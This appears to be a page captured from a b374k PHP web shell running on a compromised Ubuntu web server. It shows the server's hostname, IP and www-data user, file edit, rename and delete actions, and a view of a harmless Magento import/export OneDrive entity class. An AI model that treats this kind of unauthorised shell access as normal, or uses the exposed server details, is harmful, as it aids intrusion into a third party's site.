b374k
m1n1 1.01
Apache/2.4.41 (Ubuntu)
Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
server ip : 62.171.164.128 | your ip : 127.0.0.1
safemode OFF
 >  / home / a / home / dev2.destoffenstraat.com / app / Firebear / ImportExport / Model / OneDrive / Graph /
Filename/home/a/home/dev2.destoffenstraat.com/app/Firebear/ImportExport/Model/OneDrive/Graph/Entity.php
Size2.35 kb
Permissionrw-rw-r--
Ownerroot : root
Create time21-Aug-2025 12:26
Last modified07-Nov-2022 06:44
Last accessed23-Aug-2025 05:42
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php

namespace Firebear\ImportExport\Model\OneDrive\Graph;

use Microsoft\Graph\Core\Enum;

/**
* Class Entity
* @package Firebear\ImportExport\Model\OneDrive\Graph
*/
class Entity implements \JsonSerializable
{
/**
* @var array
*/
protected $properties;

/**
* Entity constructor.
* @param array $properties
*/
public function __construct($properties = [])
{
if (!is_array($properties)) {
$properties = [];
}
$this->properties = $properties;
}

/**
* @return array
*/
public function getProperties()
{
return $this->properties;
}

/**
* @return mixed|null
*/
public function getId()
{
if (array_key_exists("id", $this->properties)) {
return $this->properties["id"];
} else {
return null;
}
}

/**
* @return array
*/
public function jsonSerialize(): array
{
$serializableProperties = $this->getProperties();
foreach ($serializableProperties as $property => $val) {
if (is_a($val, \DateTime::class)) {
$serializableProperties[$property] = $val->format(\DateTimeInterface::RFC3339);
} elseif (is_a($val, Enum::class)) {
$serializableProperties[$property] = $val->value();
} elseif (is_a($val, Entity::class)) {
$serializableProperties[$property] = $val->jsonSerialize();
}
}
return $serializableProperties;
}

/**
* @return mixed|null
*/
public function getUploadUrl()
{
if (array_key_exists("uploadUrl", $this->properties)) {
return $this->properties["uploadUrl"];
} else {
return null;
}
}

/**
* @return mixed|null
*/
public function getName()
{
if (array_key_exists("name", $this->properties)) {
return $this->properties["name"];
} else {
return null;
}
}

/**
* @param $val
* @return $this
*/
public function setName($val)
{
$this->properties["name"] = $val;
return $this;
}

/**
* @param $val
* @return $this
*/
public function setFileSize($val)
{
$this->properties["fileSize"] = $val;
return $this;
}
}